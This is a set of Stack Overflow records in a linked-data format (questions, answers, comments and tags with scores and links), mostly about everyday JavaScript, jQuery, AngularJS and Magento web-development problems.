has comment: http://stackoverflow.com/comment/40069348
accepted answer: http://stackoverflow.com/a/25646228
has title: wysiwyg-editor in jquery dialog is not working
upvote count: 1
has comment: http://stackoverflow.com/comment/40068428
type: AnsweredQuestion
score: 1
tagged with: wysiwyg
type: Question
has body: editor for a website. I tested some (tinyEditor, wysihtml5, jHTMLArea...). When I had only a textarea-element on my site it works. But when i create a jQuery dialog and want to put the editor in it its not working. I see all icons and buttons, but i cant write text into the editor. The problem is always the same. I am using jQuery 1.10.2. Has anybody the same problem or maybe a solution? (I tested my website in chrome and firefox) Here some code (jHtmlArea): $('#dialogEditor').htmlarea({css: "/static/css/jHtmlArea.Editor.css"});//init $(function () { $("#dialog").dialog({ width: 420, autoOpen: false, open: function (evt, ui) { $("#dialogEditor").htmlarea(); } }); }); function openDialog() { $('#dialog').dialog('open'); //open dialog } HTML-code: &lt;!-- Dialog Beginn --&gt; &lt;div id="dialog" title="Studie" &gt; &lt;center&gt; &lt;textarea id="dialogEditor" rows="10" style="width: 400px"&gt;&lt;/textarea&gt; &lt;/center&gt; &lt;/div&gt; &lt;!-- Dialog End --&gt;
tagged with: jhtmlarea
downvote count: 0
answer count: 1
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25646228
favorite count: 0

http://stackoverflow.com/a/25600638
accepted answer of: http://stackoverflow.com/q/25599931
score: 1
has comment: http://stackoverflow.com/comment/39992198
upvote count: 1
has comment: http://stackoverflow.com/comment/39991651
has comment: http://stackoverflow.com/comment/39992137
has body: Use the getBounds() method. https://developers.google.com/maps/documentation/javascript/reference#Map Use it in a bounds_changed event listener. That should suit your needs. google.maps.event.addListener(map, 'bounds_changed', function () { var bounds = map.getBounds(); var southWest = bounds.getSouthWest(); var northEast = bounds.getNorthEast(); }); Edit: JSFiddle demo With this, you will be able to calculate the 2 other points. Hope this helps.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25599931
type: Answer

http://stackoverflow.com/q/25678379
has body: So I have a web page that has an image slide show of 6 different images 50x50 pixels. I would like to have it so that; when a user clicks the image, a new window pops up with the same images doing the same thing, but change the size to 200x200px. Is there an easy way to do this, am I close? HTML: JS: var mainImg = document.getElementById("slide"); var imgArray = ["slicedImg_01.gif", "slicedImg_02.gif", "slicedImg_03.gif", "slicedImg_04.gif", "slicedImg_05.gif", "slicedImg_06.gif"]; var index = 0; function imgCycle(){ mainImg.setAttribute("src", imgArray[index]); index++; if (index &gt;= imgArray.length){ index = 0; } } setInterval (imgCycle,500); function fullSize(){ var big = window.open('assignment 1.1.html') document.getElementById("slide").height="200"; }
linked to: http://stackoverflow.com/q/1258563
tagged with: window.open
type: Question
tagged with: attributes
tagged with: onclick
score: 0
has title: Change attributes of image in a new window
answer count: 1
tagged with: javascript
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25679013

http://stackoverflow.com/a/25705554
has comment: http://stackoverflow.com/comment/40181442
answers question: http://stackoverflow.com/q/25705475
type: Answer
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/25705475
has body: The problem is that $scope.myCards.template.blocks is an object, not an Array, you can iterate an object with ng-repeat, but the filter orderby only works with arrays, as you can see in the API documentation: https://docs.angularjs.org/api/ng/filter/orderBy You may want to write a custom filter for this. EDIT: I've found this custom filter called "orderObjectBy" from: http://justinklemm.com/angularjs-filter-ordering-objects-ngrepeat/ yourApp.filter('orderObjectBy', function() { return function(items, field, reverse) { var filtered = []; angular.forEach(items, function(item) { filtered.push(item); }); filtered.sort(function (a, b) { return (a[field] &gt; b[field] ? 1 : -1); }); if(reverse) filtered.reverse(); return filtered; }; }); EDIT: I've tweaked the original filter function so that you can have access to the key of your object, the tweaked version looks like this: .filter('orderObjectBy', function() { return function(items, field, reverse) { var filtered = []; angular.forEach(items, function(item, key) { item.originalKey = key; filtered.push(item); }); filtered.sort(function (a, b) { return (a[field] &gt; b[field] ? 1 : -1); }); if(reverse) filtered.reverse(); return filtered; }; }) example: http://jsfiddle.net/fvdb3d3p/2/
has comment: http://stackoverflow.com/comment/40181048
has comment: http://stackoverflow.com/comment/40181121
has comment: http://stackoverflow.com/comment/40181374
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/a/25692342
downvote count: 1
answers question: http://stackoverflow.com/q/25692240
score: 0
has body: foreach in C# is just a syntactic sugar. CLR/IL does not support anything like this. There are two versions of foreach - one for generics, and other one to support older collections, but in general it is expanded into something like this: var enumerator = states.Split(',').GetEnumerator(); while (enumerator.MoveNext()) { string state = enumerator.Current; ... } See more details here: http://msdn.microsoft.com/en-us/library/aa664754(v=vs.71).aspx
type: Answer
upvote count: 1

http://stackoverflow.com/comment/40006389
comment on: http://stackoverflow.com/q/25609412
has text: Very well said @ViswalingaSuryaS or maybe I should stay random characters and letters for Transaction ID. what do you think? It is my professor suggest to create a custom Transaction ID
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39974073
comment on: http://stackoverflow.com/q/25591872
score: 0
type: Comment
type: QuestionComment
has text: @Moshtaf Here's my new question

http://stackoverflow.com/q/25559762
has comment: http://stackoverflow.com/comment/39914097
has comment: http://stackoverflow.com/comment/39914149
has title: How do I get the value from multiple People Picker controls using using JQuery
type: Question
answer count: 1
tagged with: peoplepicker
tagged with: javascript
tagged with: jquery
has body: All, I'm sure this is simple to do, but I've been banging my head against the wall for awhile and still don't ahve the answer. I have a SharePoint form that has two People Picker objects on them, and I'd like to get the value for both of them. Using JQuery, I can do $("textarea[title='People Picker']").val(), but that only gives me the value for the first control. Is there a way to do something in JQuery like (using C# pseudo-code) HTMLTags.Where(a =&gt; a.Type=="dr").Where(a =&gt; A.SubString("&lt;nobr&gt;Name of my People Picker") != null).Select(a =&gt; a.textarea.title="People Picker").First().val(). Basically, what I am trying to do in jQuery is get all DR elements, look for any elements that contain the Name of my People Picker text, and then go through the text of this datarow until I find the People Picker text area and then return that value. Thanks. EDIT: I'll add that while I know my way around C#, I'm still pretty new to js and jquery. EDIT: Using SharePoint 2007. Supposed to upgrade to SharePoint 2010 by early next year.
has comment: http://stackoverflow.com/comment/39914106
score: 0
has answer: http://stackoverflow.com/a/25559998
type: UnansweredQuestion
tagged with: sharepoint-2007
has comment: http://stackoverflow.com/comment/39914074

http://stackoverflow.com/q/25683364
has title: JS error when trying to update price on options select for bundled products in Magento
has answer: http://stackoverflow.com/a/25684385
possible better answer: http://stackoverflow.com/a/26996231
score: 0
answer count: 3
has body: Since upgrading a Magento website from 1.8 to 1.9 and switching them onto the RWD theme, the price is not updating when selecting product options for bundled products. The console returns the following error when you select an option:- Uncaught TypeError: Cannot read property 'update' of null This occurs at line 83 of bundle.js which is tierPriceElement.update(tierPriceHtml);. This is part of the changeSelection method which in it's entirety, is included below:- changeSelection: function(selection){ var parts = selection.id.split('-'); if (this.config['options'][parts[2]].isMulti) { selected = new Array(); if (selection.tagName == 'SELECT') { for (var i = 0; i &lt; selection.options.length; i++) { if (selection.options[i].selected &amp;&amp; selection.options[i].value != '') { selected.push(selection.options[i].value); } } } else if (selection.tagName == 'INPUT') { selector = parts[0]+'-'+parts[1]+'-'+parts[2]; selections = $$('.'+selector); for (var i = 0; i &lt; selections.length; i++) { if (selections[i].checked &amp;&amp; selections[i].value != '') { selected.push(selections[i].value); } } } this.config.selected[parts[2]] = selected; } else { if (selection.value != '') { this.config.selected[parts[2]] = new Array(selection.value); } else { this.config.selected[parts[2]] = new Array(); } this.populateQty(parts[2], selection.value); var tierPriceElement = $('bundle-option-' + parts[2] + '-tier-prices'), tierPriceHtml = ''; if (selection.value != '' &amp;&amp; this.config.options[parts[2]].selections[selection.value].customQty == 1) { tierPriceHtml = this.config.options[parts[2]].selections[selection.value].tierPriceHtml; } tierPriceElement.update(tierPriceHtml); } this.reloadPrice(); }, I can see that the exact same issue used to exist on here but it has since been deleted. Given this is the code that is packaged with the Magento 1.9, it is strange this is not working as expected... I did force the theme to fallback onto the template files for the base theme and t…
has answer: http://stackoverflow.com/a/26996231
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
tagged with: magento-1.9.1
accepted answer: http://stackoverflow.com/a/25684385
type: Question
tagged with: magento
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/29476458

http://stackoverflow.com/comment/40111017
type: QuestionComment
score: 0
has text: What is the HTTP code received?
comment on: http://stackoverflow.com/q/25667335
type: Comment

http://stackoverflow.com/comment/40057545
comment on: http://stackoverflow.com/a/25637743
score: 0
type: Comment
has text: Sport Billy ,i used this code by using rectangle instead map,problem is that i hv 600 rectangles.and u r changed name of rct1,rct2,etc..
type: AnswerComment

codeigniter
tags question: http://stackoverflow.com/q/25643626
tags question: http://stackoverflow.com/q/25560489
tags question: http://stackoverflow.com/q/25648682
type: Tag
tags question: http://stackoverflow.com/q/25606641
tags question: http://stackoverflow.com/q/25634627
tags question: http://stackoverflow.com/q/25573079
tag name: codeigniter
tags question: http://stackoverflow.com/q/25632318
tags question: http://stackoverflow.com/q/25658511
tags question: http://stackoverflow.com/q/25602910
tags question: http://stackoverflow.com/q/25569160
tags question: http://stackoverflow.com/q/25586342

http://stackoverflow.com/comment/40146825
type: Comment
comment on: http://stackoverflow.com/a/25674700
score: 0
type: AnswerComment
has text: Yes. This allows multi select for the user but doesn't prevent the "select" function from deselecting the previous selection.

http://stackoverflow.com/comment/40013957
type: QuestionComment
comment on: http://stackoverflow.com/q/25613804
type: Comment
score: 1
has text: Based on what condition?

http://stackoverflow.com/comment/39966184
comment on: http://stackoverflow.com/q/25585007
score: 0
type: QuestionComment
type: Comment
has text: this question: http://stackoverflow.com/questions/7530184/jquery-mobile-getting-a-cancelled-postback-thats-causing-a-page-load-error mentions the need to also put `data-ajax="false"` in the ` ` for the masterpage to make it work? how is that formatted?

http://stackoverflow.com/comment/39962351
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25585512
has text: Thank you. You always have the most enlightening examples.

http://stackoverflow.com/a/25556981
answers question: http://stackoverflow.com/q/25556915
has comment: http://stackoverflow.com/comment/39908850
score: 2
downvote count: 0
has body: Use animation complete callback function. Something like this $("input").effect("highlight", {color:"#D46A6A"}, 3000, function() { $(this).attr("placeholder","Enter Account Number."); }); Update by Roko C. Buljan's comment.
type: Answer
upvote count: 2

http://stackoverflow.com/comment/40171441
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25700178
type: AnswerComment
has text: Could you please show me that on the code I am still learning js. Thanks

http://stackoverflow.com/q/25616150
tagged with: kohana-3.3
has comment: http://stackoverflow.com/comment/40164611
has comment: http://stackoverflow.com/comment/40168214
has answer: http://stackoverflow.com/a/25746744
has title: Kohana/JQuery Auth access issue
upvote count: 2
answer count: 3
tagged with: kohana-auth
tagged with: javascript
tagged with: jquery
favorite count: 0
tagged with: ajax
has answer: http://stackoverflow.com/a/25928244
linked to: http://stackoverflow.com/q/6930650
accepted answer: http://stackoverflow.com/a/25928244
has answer: http://stackoverflow.com/a/25696409
score: 2
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25696409
downvote count: 0
has body: I have a website using the Kohana ORM Auth. I am having a url which when called via ajax will check whether the user is logged in and return json_encoded data corresponding to the users role. this url is working fine when i tried it in normal browser window. It was returning correct values, but when tried via AJAX calls the Auth::instance()->logged_in() is returning FALSE even i am sure that the user is logged in. I am following the instructions laid out in the following link jQuery getJSON doesnt send cookies but it didn't fix the issue. What I have done so far is that , I added the following lines in the base controller as well as in the file where the request action is written header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST'); header('Access-Control-Allow-Credentials: TRUE'); In the ajax before sending the actual request the following code written beforeSend: function(xhr){ xhr.withCredentials = true; }, EDIT-------------- I tried using the following but it gave an COR issue for me. $.ajax({ type: 'GET', url: "http://www.domain.com/web/joblist", xhrFields: { withCredentials: true }, dataType: "json", data:{ "tab":currentTab, "page":currentPage, "filter":filterStr }, success: function(json){ ... }, error: function(e) { ... } });
has comment: http://stackoverflow.com/comment/40164587
type: Question

http://stackoverflow.com/a/25637631
has comment: http://stackoverflow.com/comment/40058063
accepted answer of: http://stackoverflow.com/q/25636856
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40057705
has comment: http://stackoverflow.com/comment/40058079
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40057878
has body: Alright now, going step by step.. first up your xml format, it should be in the following format (which it already is i guess): ... ... In my solution, i have created this XML like: var xml = ""; xml+= '<?xml version= "1.0" encoding="UTF-8"?>'; xml+= ' '; xml += ' '; var index1 = "111"; xml += ' '+index1+''; xml += ' '; var index2 = '111'; xml += ' '+index2+''; xml += ' '; var index3 = '111' xml += ' '+index3+''; xml += ' '; var index4 = '111' xml += ' '+index4+''; xml += ' '; var index5 = '111'; xml += ' '+index5+''; xml += ' '; xml += ' '; xml += ' '; var index1 = "222"; xml += ' '+index1+''; xml += ' '; var index2 = '222'; xml += ' '+index2+''; xml += ' '; var index3 = '222' xml += ' '+index3+''; xml += ' '; var index4 = '222' xml += ' '+index4+''; xml += ' '; var index5 = '222'; xml += ' '+index5+''; xml += ' '; xml += ' '; xml+= ' '; So it has two records, 111, 111, 111, 111, 111 and 222, 222, 222, 222, 222. Next up is the XML Parser which is going to parse this XML for you and populate the table. I have used the DOMParser. Outer loop will be till the length of the asset tags (your records), then in that loop i made the rows and added them to the table... for(var i=0; i<xmlDoc.getElementsByTagName("asset").length; i++) { html += ' ' + xmlDoc.getElementsByTagName("asset")[i].childNodes[0].innerHTML + ' ' + xmlDoc.getElementsByTagName("asset")[i].childNodes[1].innerHTML + ' ' + xmlDoc.getElementsByTagName("asset")[i].childNodes[2].innerHTML + ' ' + xmlDoc.getElementsByTagName("asset")[i].childNodes[3].innerHTML + ' ' + xmlDoc.getElementsByTagName("asset")[i].childNodes[4].innerHTML + ' '; //row construction ends here $('#tb tr:last').after(html); //adding row to the table. html = ""; //emptying this string after one row has been added to avoid multiple rows to be added in next iteration } The above loop will run 2 times (as my xml had 2 records) and will populate the table row by row, for the first row: 111, 111, 111, 111, 111 and for the second row: 222, 222, 22…
has comment: http://stackoverflow.com/comment/40061121
answers question: http://stackoverflow.com/q/25636856

http://stackoverflow.com/comment/40005760
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25609116
has text: how can I do that? I made a search and finded nothing useful, can you give me some tip or link, please?
type: AnswerComment

http://stackoverflow.com/comment/40167941
type: AnswerComment
score: 0
has text: in theory how to render that information prior to clicking is above my head lol
comment on: http://stackoverflow.com/a/25698192
type: Comment

http://stackoverflow.com/q/25684555
has body: I have the following html: Audit Now how can I update only the input fields of the friend[index] - so to speak - that has been clicked via the audit button? e.g. $scope.audit = function(auditDate, id){ $scope.friends[1].aktuell = {someData:someValues}; // this works if the index is hard coded }); }; Above works if the index '1' is hard coded into 'friends[1]', but of course I want to no update this in the second input row, but in the one that has been clicked. Idea: Can I pass the current clicked "indexifier" to my audit function or alternatively can I alter the input fields where "friend._id = friend._id"? Screenshot:
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25684655
has answer: http://stackoverflow.com/a/25684720
type: AnsweredQuestion
has title: Angular.js: Update (data-bind) only one item of ng-repeat
possible better answer: http://stackoverflow.com/a/25684720
type: Question
has answer: http://stackoverflow.com/a/25684655
tagged with: javascript
score: 0
answer count: 2

http://stackoverflow.com/comment/40021139
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25617720
score: 1
has text: @ViktorBahtev dude i didn't even know what is the problem.

http://stackoverflow.com/comment/40184072
has text: Yeah, it isn't going to evaluate the key in the object literal for the return value and assign that to the key. It was trying to add a key literally called 'filteredKeys[i]' to the object, but didn't like the square bracket in the identifier.
type: Comment
comment on: http://stackoverflow.com/a/25707272
score: 0
type: AnswerComment

http://stackoverflow.com/a/25610791
type: Answer
has comment: http://stackoverflow.com/comment/40008442
answers question: http://stackoverflow.com/q/25610744
has comment: http://stackoverflow.com/comment/40008559
has comment: http://stackoverflow.com/comment/40008468
has comment: http://stackoverflow.com/comment/40008506
has comment: http://stackoverflow.com/comment/40008393
has comment: http://stackoverflow.com/comment/40008532
has body: use ng-value="" instead of value="" should fix i would do: $scope.getNote = function (note) { $scope.currentNote = note; }; //view &lt;input type="text" ng-model="currentNote.Title" ng-value="currentNote.Title" /&gt; If you still getting problems try also: $scope.getNote = function (note) { $scope.$on(function () { $scope.currentNote = note; }); };
score: 0
has comment: http://stackoverflow.com/comment/40008375

http://stackoverflow.com/a/25696958
has body: Your web browser prevents the Ajax request from executing because of the same-origin policy (https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy). Basically, when you run the script on localhost:80, you can only make Ajax requests to pages on localhost:80. W3Schools is on a different host. The same-origin policy exists for security reasons. For example, suppose you are logged into Facebook. If the same-origin policy didn't exist, a programmer could make a malicious website that makes an Ajax request for Facebook.com and it would return with your login cookies. It could then send your login cookie to the malicious programmer. The malicious programmer could then take your login cookies and impersonate you on Facebook.
type: Answer
downvote count: 0
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/25696941
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25696941

http://stackoverflow.com/a/25569250
answers question: http://stackoverflow.com/q/25568869
downvote count: 0
has body: In PHP you can detect iPad with the following. if (strstr($_SERVER['HTTP_USER_AGENT'], 'iPad')) { echo "Its an iPad"; }
upvote count: 2
has comment: http://stackoverflow.com/comment/39931849
type: Answer
score: 2

http://stackoverflow.com/q/25601755
possible better answer: http://stackoverflow.com/a/25602322
tagged with: angularjs
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25602319
has title: Angular ng-click load controller
tagged with: angularjs-ng-click
has body: I'm trying to practice angular and I'm stuck this this. How do I make ng-click load the displayController? Or am I doing this wrong way? The Angular var bible = angular.module('bible', []); // Load the Books bible.controller('listController', ['$scope', '$http', function($scope, $http) { $http.get('books.json').success(function(data) { $scope.books = data }); }]); bible.controller('displayController', function($scope) { $scope.test = "TEST TEXT"; }); The HTML Testament Title Chapters {{book.testament}} {{book.title}} {{book.chapters}} {{test}}
has comment: http://stackoverflow.com/comment/39992485
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25602319
tagged with: javascript
has answer: http://stackoverflow.com/a/25602322
type: Question

http://stackoverflow.com/q/25554203
score: 1
possible better answer: http://stackoverflow.com/a/25554323
has body: I am trying to update a value from within the object itself. I have the following code: var stepData = { 0: { ref: "Home", values: { }, init: function(){ stepData[1].ref = 'new value'; alert(stepData[1].ref); return; }, save: function(){ } }, 1: { ref: "one" } } $("#run").click(function(){ stepData[0].init(); }); Which works fine. However, I can't replace stepData[1].ref = 'new value'; alert(stepData[1].ref); with this[1].ref = 'new value'; alert(this[1].ref); Why not? EDIT: sorry, mistake in original code. Fixed now.
type: Question
has title: updating value within object using "this"
tagged with: object
has comment: http://stackoverflow.com/comment/39903488
tagged with: javascript
answer count: 2
upvote count: 1
has answer: http://stackoverflow.com/a/25554323
has comment: http://stackoverflow.com/comment/39903443
has comment: http://stackoverflow.com/comment/39903605
has comment: http://stackoverflow.com/comment/39903421
favorite count: 0
has comment: http://stackoverflow.com/comment/39920310
accepted answer: http://stackoverflow.com/a/25554287
has comment: http://stackoverflow.com/comment/39903429
has comment: http://stackoverflow.com/comment/39911991
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25554287
downvote count: 0

http://stackoverflow.com/comment/40182672
comment on: http://stackoverflow.com/q/25706441
type: QuestionComment
has text: you need to make sure you can play the time range you're seeking to, i don't see any checking, so it might try jumping to somewhere it can't play yet, loading it, then seeking again once loaded.
score: 0
type: Comment

ratchet
type: Tag
tags question: http://stackoverflow.com/q/25579986
tag name: ratchet

http://stackoverflow.com/q/25663053
has answer: http://stackoverflow.com/a/25663239
tagged with: asp.net
favorite count: 0
has answer: http://stackoverflow.com/a/30109366
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/45560679
has answer: http://stackoverflow.com/a/25681421
has answer: http://stackoverflow.com/a/25815900
tagged with: cross-browser
has comment: http://stackoverflow.com/comment/40204603
has answer: http://stackoverflow.com/a/25663284
has answer: http://stackoverflow.com/a/31437792
has answer: http://stackoverflow.com/a/27225806
has title: How can I make window.showmodaldialog work in chrome 37?
has answer: http://stackoverflow.com/a/57213753
tagged with: google-chrome
type: Question
upvote count: 51
has body: We have a huge web application where we use window.showmodaldialog for alerts, confirmations and popups. Since Chrome version 37 this call has been disabled. Is there any quick workaround to make window.showmodaldialog work in the latest version of Chrome? I am adding here a workaround for window.showmodaldialog, although this is not a perfect workaround because this will not break the code execution as showmodaldialog was doing, instead this will open the popups. window.showModalDialog = function (url, arg, feature) { var opFeature = feature.split(";"); var featuresArray = new Array() if (document.all) { for (var i = 0; i &lt; opFeature.length - 1; i++) { var f = opFeature[i].split("="); featuresArray[f[0]] = f[1]; } } else { for (var i = 0; i &lt; opFeature.length - 1; i++) { var f = opFeature[i].split(":"); featuresArray[f[0].toString().trim().toLowerCase()] = f[1].toString().trim(); } } var h = "200px", w = "400px", l = "100px", t = "100px", r = "yes", c = "yes", s = "no"; if (featuresArray["dialogheight"]) h = featuresArray["dialogheight"]; if (featuresArray["dialogwidth"]) w = featuresArray["dialogwidth"]; if (featuresArray["dialogleft"]) l = featuresArray["dialogleft"]; if (featuresArray["dialogtop"]) t = featuresArray["dialogtop"]; if (featuresArray["resizable"]) r = featuresArray["resizable"]; if (featuresArray["center"]) c = featuresArray["center"]; if (featuresArray["status"]) s = featuresArray["status"]; var modelFeature = "height = " + h + ",width = " + w + ",left=" + l + ",top=" + t + ",model=yes,alwaysRaised=yes" + ",resizable= " + r + ",celter=" + c + ",status=" + s; var model = window.open(url, "", modelFeature, null); model.dialogArguments = arg; } Just put this code in the head section of page.
linked to: http://stackoverflow.com/q/20733962
has comment: http://stackoverflow.com/comment/40204452
tagged with: javascript
tagged with: jquery
answer count: 11
has answer: http://stackoverflow.com/a/25663402
score: 50
has answer: http://stackoverflow.com/a/28630777
downvote count: 1

http://stackoverflow.com/q/25581855
has comment: http://stackoverflow.com/comment/39955661
score: 3
downvote count: 0
tagged with: javascript
favorite count: 0
linked to: http://stackoverflow.com/q/7357339
type: Question
linked to: http://stackoverflow.com/q/37335
has comment: http://stackoverflow.com/comment/39955669
has body: I am developing a serverside Javascript application (using our own engine). Now I need to test the application until I get an out of memory error. In Java you can try/catch this error since there it is an exception. I could not try/catch it in Javascript. Is there any way to continue execution after the error is thrown?
has comment: http://stackoverflow.com/comment/39955666
upvote count: 3
has comment: http://stackoverflow.com/comment/39955760
answer count: 1
has answer: http://stackoverflow.com/a/25582253
has title: Javascript "catch" out of memory error
has comment: http://stackoverflow.com/comment/39955602
has comment: http://stackoverflow.com/comment/39955631
type: UnansweredQuestion

http://stackoverflow.com/q/25660956
has comment: http://stackoverflow.com/comment/73559981
linked to: http://stackoverflow.com/q/7940213
type: Question
tagged with: javascript
answer count: 1
has title: How to cancel XMLHttpRequest file upload on button click
tagged with: jquery
has answer: http://stackoverflow.com/a/25661199
tagged with: uploading
type: UnansweredQuestion
tagged with: xmlhttprequest
score: 0
tagged with: file
has body: I have a jQuery function that is uploading image files using XMLHttpRequest Object. The form page uses six input files, and the user can select one image file for each input file. After some file is selected in any input file, the jQuery function triggers and starts the file upload. I am trying to implement cancel buttons so that on each button click the XMLHttpRequest process stop/abort the corresponding image file upload. How can I implement this? Thanks The complete code is here: $(document).ready(function () { $.fn.uploadImage = function () { this.change(function (evt) { var whichInputFile = evt.target.id var whichProgressBar var whichProgressLabel var whichImage var whichAlert var whichCancelButton switch (whichInputFile) { case "file_Q1": whichProgressBar = "#prbar1" whichProgressLabel = "#progresslabel1" whichImage = "#image_Q1" whichAlert = "#alert_Q1" whichCancelButton = "#CancelButtonA" break; case "file_Q2": whichProgressBar = "#prbar2" whichProgressLabel = "#progresslabel2" whichImage = "#image_Q2" whichAlert = "#alert_Q2" whichCancelButton = "#CancelButtonA" break; case "file_Q3": whichProgressBar = "#prbar3" whichProgressLabel = "#progresslabel3" whichImage = "#image_Q3" whichAlert = "#alert_Q3" whichCancelButton = "#CancelButtonB" break; case "file_Q4": whichProgressBar = "#prbar4" whichProgressLabel = "#progresslabel4" whichImage = "#image_Q4" whichAlert = "#alert_Q4" whichCancelButton = "#CancelButtonB" break; case "file_Q5": whichProgressBar = "#prbar5" whichProgressLabel = "#progresslabel5" whichImage = "#image_Q5" whichAlert = "#alert_Q5" whichCancelButton = "#CancelButtonC" break; case "file_Q6": whichProgressBar = "#prbar6" whichProgressLabel = "#progresslabel6" whichImage = "#image_Q6" whichAlert = "#alert_Q6" whichCancelButton = "#CancelButtonC" break; default: } var xhr = new XMLHttpRequest(); var data = new FormData(); var files = $(evt.target).get(0).files; for (var i = 0; i &lt; files.length; i++) { data.append(files[i].name, files[i]); }…

http://stackoverflow.com/comment/40052065
comment on: http://stackoverflow.com/a/25634442
score: 0
type: AnswerComment
type: Comment
has text: Please upvote and/or click the check mark below the up/down error next to the post if you liked the answer.

http://stackoverflow.com/q/25618166
has comment: http://stackoverflow.com/comment/62057461
tagged with: adblock
has answer: http://stackoverflow.com/a/25618228
has body: I am using revive adserver to show my users promotions banners and track conversion. The problem is that adblock completely blocks my banners. I would like to change my banner code so that my users who are using adblock still will be able to know about promotions.
favorite count: 0
possible better answer: http://stackoverflow.com/a/29544557
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/29544557
has comment: http://stackoverflow.com/comment/40021898
tagged with: ads
has answer: http://stackoverflow.com/a/37265307
tagged with: css
has comment: http://stackoverflow.com/comment/40023008
has comment: http://stackoverflow.com/comment/62057387
accepted answer: http://stackoverflow.com/a/25618228
answer count: 3
downvote count: 5
tagged with: javascript
has title: how to stop adblocks from blocking my revive adserver banner promotions?
score: -3
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/136450728
type: AnswerComment
type: Comment
has text: @marc-guenther I think you can place a reference to the value inside a setTimeout, until setTimeout function is called and freed it will keep your value alive. Works on any runtime or browser. Don't know if there is NodeJS way to do it.
comment on: http://stackoverflow.com/a/72896692
score: 0

http://stackoverflow.com/comment/40026267
score: 0
type: Comment
type: QuestionComment
has text: @Satpal that's for sure.
comment on: http://stackoverflow.com/q/25620542

http://stackoverflow.com/comment/40092003
type: AnswerComment
type: Comment
has text: Nevermind, made a typo. Thanks a bunch!!
comment on: http://stackoverflow.com/a/25656364
score: 0

http://stackoverflow.com/comment/40151162
type: AnswerComment
comment on: http://stackoverflow.com/a/25689379
type: Comment
score: 0
has text: @EducateYourself There's no reason to put anything in the brackets.

http://stackoverflow.com/comment/39933367
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25569700
type: Comment
has text: Close. That script would load the content on every page of my site. I need the conditional statement that checks the browser URL first.

http://stackoverflow.com/comment/40049880
score: 0
has text: If you passed an object and reassigned the parameter reference in the function it wouldn't do what the OP is asking either.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25633209

reactjs
tags question: http://stackoverflow.com/q/25674933
tags question: http://stackoverflow.com/q/25639028
type: Tag
tags question: http://stackoverflow.com/q/25646502
tags question: http://stackoverflow.com/q/25566078
tags question: http://stackoverflow.com/q/25628254
tags question: http://stackoverflow.com/q/25701168
tag name: reactjs
tags question: http://stackoverflow.com/q/25674704
tags question: http://stackoverflow.com/q/25571707
tags question: http://stackoverflow.com/q/25660859
tags question: http://stackoverflow.com/q/25582569

http://stackoverflow.com/a/25684078
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25646178
has body: You are saying that you can get the value in javascript So I think the the problem is with the hidden field. try to set value by Client id as follows- var hd = document.getElementById('&lt;%= showHideFlag.ClientID%&gt;'); hd.value = "hi"; And my another question is in which event you are accessing value? because If you are setting value in javascript and accessing in Page Load event then it will not work because first of all Page load event gets fired and then Javascript function executes.

http://stackoverflow.com/q/25674659
score: 3
type: AnsweredQuestion
upvote count: 3
accepted answer: http://stackoverflow.com/a/25674761
type: Question
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25674761
tagged with: javascript
tagged with: meteor
favorite count: 0
has title: Exception in template helper using global helper in Meteor
has body: I added a global helper function with UI.registerHelper which returns a String. If I access the particular site, I can see the correct output, but I get the following exception: Exception in template helper: http://localhost:3000/client/helpers/global_helpers.js?c1af37eca945292843a79e68a3037c17a0cfc841:18:45 http://localhost:3000/packages/blaze.js?cf9aea283fb9b9d61971a3b466bff429f9d66d7d:2458:21 This is my code: UI.registerHelper('levelMode', function() { return Games.findOne({_id: this._id}).mode ? 'Difficult' : 'Easy'; }); Any ideas how to solve this issue?

http://stackoverflow.com/q/25709306
tagged with: html5-canvas
downvote count: 0
has comment: http://stackoverflow.com/comment/40195748
favorite count: 0
has title: Crop the image in irregular shape and stretch it
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40190079
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25711009
has comment: http://stackoverflow.com/comment/40301975
has answer: http://stackoverflow.com/a/25784433
possible better answer: http://stackoverflow.com/a/25712001
has answer: http://stackoverflow.com/a/25712001
type: Question
score: 5
has body: I found images that depict what is my problem: User will able to choose four points on canvas to crop the part of image and than stretch it. How to do that in HTML5? drawImage function (as I know) works only with rectangles (takes x, y, width and height values) so I can't use irregular shape. The solution have to work in every modern browser, so I don't want things based on webgl or something. EDIT: More info: this will be app for editing pictures. I want to let user cut some part of bigger picture and edit that. It will be similar to Paint, so canvas is required to edit pixels.
has comment: http://stackoverflow.com/comment/40187743
accepted answer: http://stackoverflow.com/a/25784433
upvote count: 5
tagged with: javascript
has comment: http://stackoverflow.com/comment/40191638
has comment: http://stackoverflow.com/comment/40303752
has comment: http://stackoverflow.com/comment/40255087
has answer: http://stackoverflow.com/a/25710582
